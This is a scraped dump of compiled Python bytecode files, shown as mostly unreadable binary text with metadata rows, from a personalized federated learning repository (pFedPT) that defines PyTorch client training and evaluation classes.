|¡}|t tj |dd�|k¡  ¡7}||j d7}|  t  |¡ ¡ ¡ ¡¡|  t| ¡ ¡ ¡t |j¡d�¡q>W5QRX|j ¡tj|dd�}tj|dd�}tj||dd�} ||| fS)Nrr$)Údim)Úclasses)ÚaxisÚmicro)Úaverage)Úload_test_datarr+r,ÚevalrÚno_gradr5ÚsumÚargmaxÚitemÚshapeÚappendÚFÚsoftmaxÚdetachr?Únumpyrr0ÚarangeÚ num_classesÚ concatenaterÚ roc_auc_score) rÚtestloaderfullÚtest_accÚtest_numÚy_probÚy_truerErFrGÚaucr"r"r#Ú test_metricshs.       2 zclientDitto.test_metrics)Ú__name__Ú __module__Ú __qualname__r r-rHrdÚ __classcell__r"r"r r#rs (r)rrYr0r*r Útorch.nnrÚflcore.optimizers.fedoptimizerrÚflcore.clients.clientbaserÚtorch.nn.functionalÚ functionalrVÚsklearn.preprocessingrÚsklearnrrr"r"r"r#Ú<module>s     
3,498
Python
.py
36
96
478
0.421311
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,678
clientpt.cpython-39.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientpt.cpython-39.pyc
a W¢bc5 ã@sDddlZddlmZddlZddlZddlmZGdd„deƒZdS)éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)ÚclientPTc shtƒj||||fi|¤�t ¡|_tjj|jj   ¡|j d�|_ tjj|jj   ¡|j d�|_|j|_dS)N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ generatorÚ parametersÚ learning_rateÚ poptimizerÚbaseÚ optimizerÚ plocal_steps)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs©Ú __class__©úq/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientpt.pyr s  zclientPT.__init__c CsX| ¡}t ¡}|j |j¡|j ¡|jj ¡D] }d|_q4|jj  ¡D] }d|_qLt |j ƒD]ª}t |ƒD]œ\}\}}t |ƒt gƒkr |d |j¡|d<n | |j¡}| |j¡}|jrØt dt tj ¡¡¡|j ¡| |¡}| ||¡} |  ¡|j ¡qnqb|j} |j�r.tj d| d¡} |jj ¡D] }d|_�q:|jj  ¡D] }d|_�qTt | ƒD]²}t |ƒD]¢\}\}}t |ƒt gƒk�rª|d |j¡|d<n | |j¡}| |j¡}|j�rät dt tj ¡¡¡|j ¡| |¡}| ||¡} |  ¡|j ¡�qv�qj|j ¡|jdd7<|jdt ¡|7<dS) NFTrgš™™™™™¹?ééÚ num_roundsÚ total_cost)Úload_train_dataÚtimer ÚtoÚdeviceÚtrainrrÚ requires_gradrÚrangerÚ enumerateÚtypeÚ train_slowÚsleepÚnpÚabsÚrandomÚrandrÚ zero_gradr ÚbackwardÚstepÚ local_stepsÚrandintrÚcpuÚtrain_time_cost) rÚ trainloaderÚ start_timeÚparamr4ÚiÚxÚyÚoutputr Úmax_local_stepsrrrr'sX               zclientPT.traincCs0t| ¡|jj ¡ƒD]\}}|j ¡|_qdS)N)Úziprr rÚdataÚclone)rrÚ new_paramÚ old_paramrrrÚset_parametersPszclientPT.set_parameters)Ú__name__Ú __module__Ú __qualname__rr'rFÚ __classcell__rrrrr s :r) r Útorch.nnrÚnumpyr.r$Ú system.flcore.clients.clientbaserrrrrrÚ<module>s   
2,342
Python
.py
32
72
293
0.43055
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,679
clientbabu.cpython-38.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientbabu.cpython-38.pyc
U ”jfcù ã@sLddlZddlZddlmZddlZddlZddlmZGdd„deƒZ dS)éN)ÚClientcs<eZdZ‡fdd„Zdd„Zdd„Zddgfd d „Z‡ZS) Ú clientBABUc s`tƒj||||f|Žt ¡|_tjj|jj   ¡|j d�|_ |j |_ |jj  ¡D] }d|_qPdS)N)ÚlrF)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚbaseÚ parametersÚ learning_rateÚ optimizerÚfine_tuning_stepsÚ predictorÚ requires_grad)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargsÚparam©Ú __class__©õLD:\京东\promot\cifar\cifar\Cifar10_iid\system\flcore\clients\clientbabu.pyr s  zclientBABU.__init__c Cs4| ¡}t ¡}|j |j¡|j ¡|j}|jrFtj   d|d¡}t |ƒD]ª}t |ƒD]œ\}\}}t |ƒt gƒkrŒ|d |j¡|d<n | |j¡}| |j¡}|jrÄt dt tj  ¡¡¡|j ¡| |¡}| ||¡} |  ¡|j ¡qZqN|j ¡|jdd7<|jdt ¡|7<dS)Néérgš™™™™™¹?Ú num_roundsÚ total_cost)Úload_train_dataÚtimer ÚtoÚdeviceÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandrÚ zero_gradr ÚbackwardÚstepÚcpuÚtrain_time_cost) rÚ trainloaderÚ start_timeÚmax_local_stepsr6ÚiÚxÚyÚoutputr rrrr(s.        zclientBABU.traincCs0t| ¡|jj ¡ƒD]\}}|j ¡|_qdS)N)Úziprr rÚdataÚclone)rrÚ new_paramÚ old_paramrrrÚset_parameters6szclientBABU.set_parametersrrc Cs| ¡}|j |j¡|j ¡d|kr@|jj ¡D] }d|_q4d|kr`|jj ¡D] }d|_qTt|j ƒD]Š}t |ƒD]|\}\}}t |ƒt gƒkr¨|d |j¡|d<n | |j¡}| |j¡}|j   ¡| |¡}| ||¡} |  ¡|j  ¡qvqj|j ¡dS)NrTrFr)r$r r&r'r(rrrr.rr/r0rr4r r5r6r7) rZ which_moduler9rr6r<r=r>r?r rrrÚ fine_tune:s*      zclientBABU.fine_tune)Ú__name__Ú __module__Ú __qualname__rr(rErFÚ __classcell__rrrrr s  r) Úcopyr Útorch.nnrÚnumpyr+r%Úflcore.clients.clientbaserrrrrrÚ<module>s   
2,547
Python
.py
33
76
278
0.417097
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,680
clientdynpt.cpython-39.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientdynpt.cpython-39.pyc
a W¢bc¢ã@sTddlZddlZddlmZddlZddlZddlmZGdd„deƒZ dd„Z dS)éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)Ú clientDynPTc s°tƒj||||fi|¤�t ¡|_tjj|j  ¡|j d�|_ |j |_ d|_ t |j¡}t|ƒ}t |¡|_tjj|jj  ¡|j d�|_tjj|jj  ¡|j d�|_ |j|_dS)N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersÚ learning_rateÚ optimizerÚalphaÚglobal_model_vectorÚcopyÚdeepcopyÚmodel_parameter_vectorÚ zeros_likeÚold_gradÚ generatorÚ poptimizerÚbaseÚ plocal_steps)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargsr©Ú __class__©út/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientdynpt.pyr s   zclientDynPT.__init__c CsÒ| ¡}t ¡}|j |j¡|j ¡|jj ¡D] }d|_q4|jj  ¡D] }d|_qLt |j ƒD]ª}t |ƒD]œ\}\}}t |ƒt gƒkr |d |j¡|d<n | |j¡}| |j¡}|jrØt dt tj ¡¡¡|j ¡| |¡}| ||¡} |  ¡|j ¡qnqb|j} |jj ¡D] }d|_�q |jj  ¡D] }d|_�q:|j�rbtj d| d¡} t | ƒD]ú}t |ƒD]ê\}\}}t |ƒt gƒk�rª|d |j¡|d<n | |j¡}| |j¡}|j�rät dt tj ¡¡¡|j ¡| |¡}| ||¡} |jdk�rLt|jƒ} | |jdt  | |jd¡7} | t !| |j"¡8} |  ¡|j ¡�qv�qj|jdk�r˜t|jƒ #¡} |j"|j| |j|_"|j $¡|j%dd7<|j%dt ¡|7<dS) NFTrgš™™™™™¹?ééÚ num_roundsÚ total_cost)&Úload_train_dataÚtimer ÚtoÚdeviceÚtrainrrÚ requires_gradrÚrangerÚ enumerateÚtypeÚ train_slowÚsleepÚnpÚabsÚrandomÚrandrÚ zero_gradr ÚbackwardÚstepÚ local_stepsÚrandintrrrrr ÚnormÚdotrÚdetachÚcpuÚtrain_time_cost) rÚ trainloaderÚ start_timeÚparamr;ÚiÚxÚyÚoutputr Úmax_local_stepsÚv1r$r$r%r."sf                   zclientDynPT.traincCsDt|j ¡|jj ¡ƒD]\}}|j ¡|_qt|ƒ ¡ ¡|_dS)N) Úziprrr ÚdataÚclonerr@r)rr Ú new_paramÚ old_paramr$r$r%Úset_parametersfs zclientDynPT.set_parameters)Ú__name__Ú __module__Ú __qualname__rr.rQÚ __classcell__r$r$r"r%r s DrcCs dd„| ¡Dƒ}tj|dd�S)NcSsg|]}| d¡‘qS)éÿÿÿÿ)Úview)Ú.0Úpr$r$r%Ú <listcomp>oóz*model_parameter_vector.<locals>.<listcomp>r)Údim)rr Úcat)r rEr$r$r%rnsr) rr Útorch.nnrÚnumpyr5r+Úflcore.clients.clientbaserrrr$r$r$r%Ú<module>s  b
3,080
Python
.py
36
84.527778
394
0.415764
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,681
clientphp.cpython-37.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientphp.cpython-37.pyc
B fcXã@sVddlZddlZddlmZddlZddlZddlmZGdd„deƒZ ddd„Z dS) éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)Ú clientPHPc s|tƒj||||f|�t ¡|_tjj|j  ¡|j d�|_ |j |j |_ |j|_t |j¡|_x|j  ¡D] }d|_qjWdS)N)ÚlrF)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersÚ learning_rateÚ optimizerÚmuÚ global_roundsÚlamdaÚcopyÚdeepcopyÚmodel_sÚ requires_grad)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargsÚparam)Ú __class__©úF/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientphp.pyr s zclientPHP.__init__c Csˆ| ¡}t ¡}|j |j¡|j |j¡|j ¡|j}|jrTt j   d|d¡}xît |ƒD]â}xÜt |ƒD]Ğ\}\}}t|ƒtgƒkr�|d |j¡|d<n | |j¡}| |j¡}|jrÖt dt  t j  ¡¡¡|j ¡| |¡}| ||¡d|j} | t|j |¡|j |¡d|jƒ|j7} |  ¡|j ¡qlWq^W|j ¡|j ¡|jdd7<|jdt ¡|7<dS)Néérgš™™™™™¹?ÚrbfÚ num_roundsÚ total_cost)Úload_train_dataÚtimer ÚtoÚdevicerÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandrÚ zero_gradr rÚMMDÚbaseÚbackwardÚstepÚcpuÚtrain_time_cost) rÚ trainloaderÚ start_timeÚmax_local_stepsr;ÚiÚxÚyÚoutputr r r r!r+s4     *  zclientPHP.traincCst|j|}x,t| ¡|j ¡ƒD]\}}|j ¡|_q Wx6t| ¡|j ¡ƒD]\}}|d||||_qNWdS)Nr")rÚziprrÚdataÚcloner )rr ÚRrÚ new_paramÚ old_paramr r r!Úset_parameters<s  zclientPHP.set_parameters)Ú__name__Ú __module__Ú __qualname__rr+rKÚ __classcell__r r )rr!r s #rr<cCsÈt || ¡¡t || ¡¡t || ¡¡}}}| ¡ d¡ |¡}| ¡ d¡ |¡}| ¡|d|} | ¡|d|} | ¡|d|} t |j¡ |¡t |j¡ |¡t |j¡ |¡} } }|dk�rJddddg}x`|D]X}| |d|d| d 7} | |d|d| d 7} ||d|d| d 7}qîW|d k�r²d d d dg}xP|D]H}| t  d| |¡7} | t  d| |¡7} |t  d| |¡7}�qfWt  | | d|¡S)a Emprical maximum mean discrepancy. The lower the result the more evidence that distributions are the same. Args: x: first sample, distribution P y: second sample, distribution Q kernel: kernel type such as "multiscale" or "rbf" rg@Z multiscalegš™™™™™É?gà?gÍÌÌÌÌÌì?gÍÌÌÌÌÌô?r#éÿÿÿÿr$é ééé2gà¿) r ÚmmÚtÚdiagÚ unsqueezeÚ expand_asÚzerosÚshaper)ÚexpÚmean)rBrCÚkernelr*ÚxxÚyyÚzzÚrxÚryZdxxZdyyZdxyÚXXÚYYZXYZbandwidth_rangeÚar r r!r8Fs, 4       r8)r<) rr Útorch.nnrÚnumpyr.r(Úflcore.clients.clientbaserrr8r r r r!Ú<module>s  <
3,309
Python
.py
43
74.906977
288
0.424985
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,682
clientavg.cpython-39.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientavg.cpython-39.pyc
a W¢bcªã@sDddlZddlmZddlZddlZddlmZGdd„deƒZdS)éN)ÚClientcs$eZdZ‡fdd„Zdd„Z‡ZS)Ú clientAVGc sBtƒj||||fi|¤�t ¡|_tjj|j  ¡|j d�|_ dS)N)Úlr) ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersZ learning_rateÚ optimizer)ÚselfÚargsÚidZ train_samplesZ test_samplesÚkwargs©Ú __class__©úr/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientavg.pyr s zclientAVG.__init__c CsP| ¡}t ¡}|j |j¡|j ¡|j}|jrFtj   d|d¡}t |ƒD]Æ}t |ƒD]¸\}\}}t |ƒt gƒkrŒ|d |j¡|d<n | |j¡}| |j¡}|jrÄt dt tj  ¡¡¡|j ¡| |¡}| ||¡} |  ¡|j�rt|j|t|ƒƒqZ|j ¡qZqN|j ¡|jdd7<|jdt ¡|7<dS)Néérgš™™™™™¹?Z num_roundsÚ total_cost)Zload_train_dataÚtimer ÚtoÚdeviceÚtrainÚ local_stepsZ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandrÚ zero_gradr ÚbackwardZprivacyZdp_stepÚlenÚstepÚcpuZtrain_time_cost) rZ trainloaderÚ start_timeZmax_local_stepsr,ÚiÚxÚyÚoutputr rrrrs2        zclientAVG.train)Ú__name__Ú __module__Ú __qualname__rrÚ __classcell__rrrrr s r) r Útorch.nnrÚnumpyr rZflcore.clients.clientbaserrrrrrÚ<module>s   
1,692
Python
.py
20
83.45
306
0.472803
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,683
clientbn.cpython-38.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientbn.cpython-38.pyc
U zgc›ã@sDddlZddlmZddlZddlZddlmZGdd„deƒZdS)éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)ÚclientBNc s>tƒj||||f|�t ¡|_tjj|j  ¡|j d�|_ dS)N)Úlr) ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersÚ learning_rateÚ optimizer)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs©Ú __class__©õCD:\京东\promot\cifar\cifar\tiny\system\flcore\clients\clientbn.pyr s zclientBN.__init__c Cs”| ¡}t ¡}|j |j¡|j ¡|j}|jrFtj   d|d¡}t |ƒD]Æ}t |ƒD]¸\}\}}t |ƒt gƒkrŒ|d |j¡|d<n | |j¡}| |j¡}|jrÄt dt tj  ¡¡¡|j ¡| |¡}| ||¡} |  ¡|j�rt|j|t|ƒƒqZ|j ¡qZqN|j ¡|jdd7<|jdt ¡|7<|j�r�t|jƒ\} } td|j›�d| dd ›d | ›d | d›�ƒdS) Néérgš™™™™™¹?Ú num_roundsÚ total_costzClient u(ε = z.2fu, δ = u ) for α = )Úload_train_dataÚtimer ÚtoÚdeviceÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandrÚ zero_gradr ÚbackwardÚprivacyÚdp_stepÚlenÚstepÚcpuÚtrain_time_costZ get_dp_paramsÚprintr) rÚ trainloaderÚ start_timeÚmax_local_stepsr4ÚiÚxÚyÚoutputr ÚresZDELTArrrr#s8        zclientBN.traincCs>t| ¡|j ¡ƒD]$\\}}\}}d|kr|j ¡|_qdS)NÚbn)ÚzipÚnamed_parametersr ÚdataÚclone)rr rr&ÚonÚoprrrÚset_parameters<s$zclientBN.set_parameters)Ú__name__Ú __module__Ú __qualname__rr#rGÚ __classcell__rrrrr s 'r) r Útorch.nnrÚnumpyr&r Úflcore.clients.clientbaserrrrrrÚ<module>s   
2,065
Python
.py
22
92.727273
293
0.446184
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,684
clientmoonpt.cpython-38.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientmoonpt.cpython-38.pyc
U éÿcàã@s~ddlZddlZddlmZddlZddlZddlmmZ ddl m Z ddlZddl m Z ddlmZGdd„de ƒZdS)éN)ÚClient)Úlabel_binarize)Úmetricscs4eZdZ‡fdd„Zdd„Zdd„Zdd„Z‡ZS) Ú clientMOONPTc s¾tƒj||||f|�t ¡|_tj |jj   ¡|j dœ|jj   ¡|j dœg¡|_ |j|_tjj|jj  ¡|j|jd�|_tjjj|j|j|jd�|_|j|_|j|_d|_t |j¡|_dS)N)ÚparamsÚlr)rÚmomentum)Ú step_sizeÚgamma)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚbaseÚ parametersÚ learning_rateÚ predictorÚ optimizerÚ plocal_stepsÚ generatorÚpt_learning_raterÚ poptimizerÚ lr_schedulerÚStepLRÚlearning_decayÚ schedulerÚtauÚmuÚ global_modelÚcopyÚdeepcopyÚ old_model)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs©Ú __class__©õdD:\京东\promot\第二次投稿\å®�验\æœ�务器\native - pro\system\flcore\clients\clientmoonpt.pyr s" şÿÿzclientMOONPT.__init__c CsÚ| ¡}t ¡}t |jj¡}|j |j¡|j |j¡|j  |j¡|j  ¡|jj   ¡D] }d|_ q^|jj  ¡D] }d|_ qv|jj  ¡D] }d|_ q�t|jƒD]¶}t|ƒD]¨\}\}}t|ƒtgƒkrâ|d |j¡|d<n | |j¡}| |j¡}|j�rt dt tj ¡¡¡|j ¡| |¡} | | |¡} |  ¡|j ¡|j ¡q°q¤|j} |j�r|tj  d| d¡} |jj   ¡D] }d|_ �qˆ|jj  ¡D] }d|_ �q¢|jj  ¡D] }d|_ �q¼t| ƒD�]F}t|ƒD�]4\}\}}t|ƒtgƒk�r|d |j¡|d<n | |j¡}| |j¡}|j�rPt dt tj ¡¡¡|j! ¡|j  |¡} |j | ¡} | | |¡} |j   |¡ "¡} |j  |¡ "¡}t# $t# %t& '| |¡|j(¡t# %t& '| |¡|j(¡t# %t& '| | ¡|j(¡¡ }| |j)t# *|¡7} |  ¡|j! ¡�qà�qÒ|j +¡|j +¡|j  +¡t |j¡|_ t |jj¡}d}t,|  ¡|  ¡ƒD]<\}}||}t# -|dk|t# .|¡|¡}|t# /|¡}�ql|j0dd7<|j0dt ¡|7<|S) NFTrgš™™™™™¹?ééÚ num_roundsÚ total_cost)1Úload_train_dataÚtimer$r%rrÚtoÚdevicer#r&ÚtrainrrÚ requires_gradrÚrangerÚ enumerateÚtypeÚ train_slowÚsleepÚnpÚabsÚrandomÚrandrÚ zero_gradrÚbackwardÚstepr Ú local_stepsÚrandintrÚdetachrÚlogÚexpÚFÚcosine_similarityr!r"ÚmeanÚcpuÚzipÚwhereÚ zeros_likeÚsumÚtrain_time_cost)r'Ú trainloaderÚ start_timeÚ old_promptÚparamrFÚiÚxÚyÚoutputrÚmax_local_stepsÚrepÚrep_oldÚ rep_globalÚloss_conÚ new_promptÚ diff_provalueÚ new_paramÚ old_paramÚdiff_pror/r/r0r9+s�                ÿÿ   zclientMOONPT.traincCsft|j ¡|jj ¡ƒD]\}}|j ¡|_qt|j ¡|jj ¡ƒD]\}}|j ¡|_qF||_dS)N)rPrrrÚdataÚclonerr#)r'rrdrer/r/r0Úset_parameterss   zclientMOONPT.set_parametersc Cs~| ¡}|j |j¡|j ¡d}d}d}g}g}t ¡�ú|D]î\}}t|ƒtgƒkrp|d |j¡|d<n | |j¡}| |j¡}| |¡} |j |j  |¡¡} |t  tj | dd�|k¡  ¡7}|t  tj | dd�|k¡  ¡7}||j d7}| |  ¡ ¡ ¡¡| t| ¡ ¡ ¡t |j¡d�¡qBW5QRX|j ¡tj|dd�}tj|dd�}tj||dd�} |||| fS)Nrr1)Údim)Úclasses)ÚaxisÚmicro)Úaverage)Úload_test_datarr7r8ÚevalrÚno_gradr=rrrSÚargmaxÚitemÚshapeÚappendrIrOÚnumpyrr@ÚarangeÚ num_classesÚ concatenaterÚ roc_auc_score) r'ÚtestloaderfullÚtest_accÚ test_acc2Útest_numÚy_probÚy_truerZr[r\Úoutput2Úaucr/r/r0Ú test_metrics†s4        2 zclientMOONPT.test_metrics)Ú__name__Ú __module__Ú __qualname__r r9rirƒÚ __classcell__r/r/r-r0rs Tr)r$rÚtorch.nnr rvr@r6Útorch.nn.functionalÚ functionalrLÚflcore.clients.clientbaserÚsklearn.preprocessingrÚsklearnrrr/r/r/r0Ú<module>s    
4,417
Python
.py
49
88.877551
555
0.413596
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,685
clientamp.cpython-37.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientamp.cpython-37.pyc
B ü fc ã@sTddlZddlmZddlmZddlZddlZddlZGdd„deƒZ dd„Z dS)éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)Ú clientAMPc s\tƒj||||f|�|j|_|j|_t |j¡|_t  ¡|_ t j j |j ¡|jd�|_dS)N)Úlr)ÚsuperÚ__init__ÚalphaKÚlamdaÚcopyÚdeepcopyÚmodelÚclient_uÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚ parametersÚ learning_rateÚ optimizer)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs)Ú __class__©úF/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientamp.pyr s  zclientAMP.__init__c CsŠ| ¡}t ¡}|j |j¡|j |j¡|j ¡|j}|jrTt j   d|d¡}xît |ƒD]â}xÜ|D]Ô\}}t |ƒt gƒkr–|d |j¡|d<n | |j¡}| |j¡}|jrÎt dt  t j  ¡¡¡|j ¡| |¡}| ||¡}t|jƒ} t|jƒ} | | } ||j|jdt | | ¡7}| ¡|j ¡qhWq^W|j ¡|j ¡~|jdd7<|jdt ¡|7<dS)Néérgš™™™™™¹?Ú num_roundsÚ total_cost)Úload_train_dataÚtimer ÚtoÚdevicer ÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚtypeÚsleepÚabsÚrandrÚ zero_gradrÚweight_flattenrrrÚdotÚbackwardÚstepÚcpuÚtrain_time_cost) rÚ trainloaderÚ start_timeÚmax_local_stepsr6ÚxÚyÚoutputrÚparamsÚparams_Úsubrrrr's<           zclientAMP.traincCs<x6t| ¡|j ¡ƒD]\}}|j||j ¡|_qWdS)N)Úziprr ÚdataÚclone)rr Ú coef_selfÚ new_paramÚ old_paramrrrÚset_parameters?szclientAMP.set_parameters)Ú__name__Ú __module__Ú __qualname__rr'rHÚ __classcell__rr)rrr s +rcCs4g}x | ¡D]}| | d¡¡qWt |¡}|S)Néÿÿÿÿ)rÚappendÚviewrÚcat)r r?Úurrrr3Ds  r3) rÚtorch.nnr Úflcore.clients.clientbaserÚnumpyr*r$r rr3rrrrÚ<module>s  ;
2,256
Python
.py
27
82.37037
269
0.436323
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,686
clientdyn.cpython-37.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientdyn.cpython-37.pyc
B È:cc ã@sTddlZddlZddlmZddlZddlZddlmZGdd„deƒZ dd„Z dS)éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)Ú clientDync sltƒj||||f|�t ¡|_tjj|j  ¡|j d�|_ |j |_ d|_ t |j¡}t|ƒ}t |¡|_dS)N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersÚ learning_rateÚ optimizerÚalphaÚglobal_model_vectorÚcopyÚdeepcopyÚmodel_parameter_vectorÚ zeros_likeÚold_grad)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargsr)Ú __class__©úF/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientdyn.pyr s  zclientDyn.__init__c Csğ| ¡}t ¡}|j |j¡|j |j¡|_|j |j¡|_|j ¡|j}|j rft j   d|d¡}�xt |ƒD]ö}xğt|ƒD]ä\}\}}t|ƒtgƒkr²|d |j¡|d<n | |j¡}| |j¡}|j rêt dt  t j  ¡¡¡|j ¡| |¡}| ||¡} |jdk�rRt|jƒ} | |jdt | |jd¡7} | t | |j¡8} |  ¡|j ¡q€WqrW|jdk�r�t|jƒ ¡} |j|j| |j|_|j ¡|j ¡|_|j ¡|_|jdd7<|jdt ¡|7<dS)Néérgš™™™™™¹?Ú num_roundsÚ total_cost) Úload_train_dataÚtimer ÚtoÚdevicerrÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandrÚ zero_gradr rrr ÚnormÚdotÚbackwardÚstepÚdetachÚcpuÚtrain_time_cost) rÚ trainloaderÚ start_timeÚmax_local_stepsr9ÚiÚxÚyÚoutputr Úv1rrr r)sD             zclientDyn.traincCsDx,t| ¡|j ¡ƒD]\}}|j ¡|_qWt|ƒ ¡ ¡|_dS)N)Úziprr ÚdataÚclonerr:r)rr Ú new_paramÚ old_paramrrr Úset_parametersOszclientDyn.set_parameters)Ú__name__Ú __module__Ú __qualname__rr)rJÚ __classcell__rr)rr r s 1rcCs dd„| ¡Dƒ}tj|dd�S)NcSsg|]}| d¡‘qS)éÿÿÿÿ)Úview)Ú.0Úprrr ú <listcomp>Wsz*model_parameter_vector.<locals>.<listcomp>r)Údim)rr Úcat)r Úparamrrr rVsr) rr Útorch.nnrÚnumpyr,r&Úflcore.clients.clientbaserrrrrrr Ú<module>s  L
2,573
Python
.py
30
84.7
285
0.430031
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,687
clientbase.cpython-39.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientbase.cpython-39.pyc
a W¢bcã@s‚ddlZddlZddlmZddlZddlZddlmmZ ddl m Z ddl m Z ddlmZddlmZGdd„deƒZdS)éN)Ú DataLoader)Úlabel_binarize)Úmetrics)Úread_client_datac@sheZdZdZdd„Zddd„Zddd„Zd d „Zd d „Zd d„Z dd„Z dd„Z ddd„Z ddd„Z dS)ÚClientz7 Base class for clients in federated learning. cKsÒt |j¡|_|j|_|j|_||_|j|_|j|_||_||_ |j |_ |j |_ |j |_ d|_|j ¡D]}t|tjƒrhd|_q„qh|d|_|d|_dddœ|_dddœ|_|j|_|j|_|j |j|_dS)NFTÚ train_slowÚ send_slowrg)Ú num_roundsÚ total_cost)ÚcopyÚdeepcopyÚmodelÚdatasetÚdeviceÚidÚsave_folder_nameÚ num_classesÚ train_samplesÚ test_samplesÚ batch_sizeÚlocal_learning_rateÚ learning_rateÚ local_stepsZ has_BatchNormÚchildrenÚ isinstanceÚnnÚ BatchNorm2drrÚtrain_time_costZsend_time_costÚprivacyZdp_sigmaÚ sample_rate)ÚselfÚargsrrrÚkwargsÚlayer©r$ús/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientbase.pyÚ__init__s.     zClient.__init__NcCs0|dkr|j}t|j|jdd�}t||ddd�S)NT©Zis_train©Ú drop_lastÚshuffle©rrrrr)r rÚ train_datar$r$r%Úload_train_data1szClient.load_train_datacCs0|dkr|j}t|j|jdd�}t||ddd�S)NFr'Tr(r+)r rÚ test_datar$r$r%Úload_test_data7szClient.load_test_datacCs.t| ¡|j ¡ƒD]\}}|j ¡|_qdS©N)ÚzipÚ parametersr ÚdataÚclone)r r Ú new_paramÚ old_paramr$r$r%Úset_parameters=szClient.set_parameterscCs,t| ¡| ¡ƒD]\}}|j ¡|_qdSr0©r1r2r3r4)r r ÚtargetÚparamZ target_paramr$r$r%Ú clone_modelAszClient.clone_modelcCs(t| ¡|ƒD]\}}|j ¡|_qdSr0r8)r r Ú new_paramsr:r5r$r$r%Úupdate_parametersFszClient.update_parametersc CsZ| ¡}|j |j¡|j ¡d}d}g}g}t ¡�Ğ|D]º\}}t|ƒtgƒkrl|d |j¡|d<n | |j¡}| |j¡}| |¡}|t tj |dd�|k¡  ¡7}||j d7}|  |  ¡ ¡ ¡¡|  t|  ¡ ¡ ¡t |j¡d�¡q>Wdƒn1�s0Y|j ¡tj|dd�}tj|dd�}tj||dd�} ||| 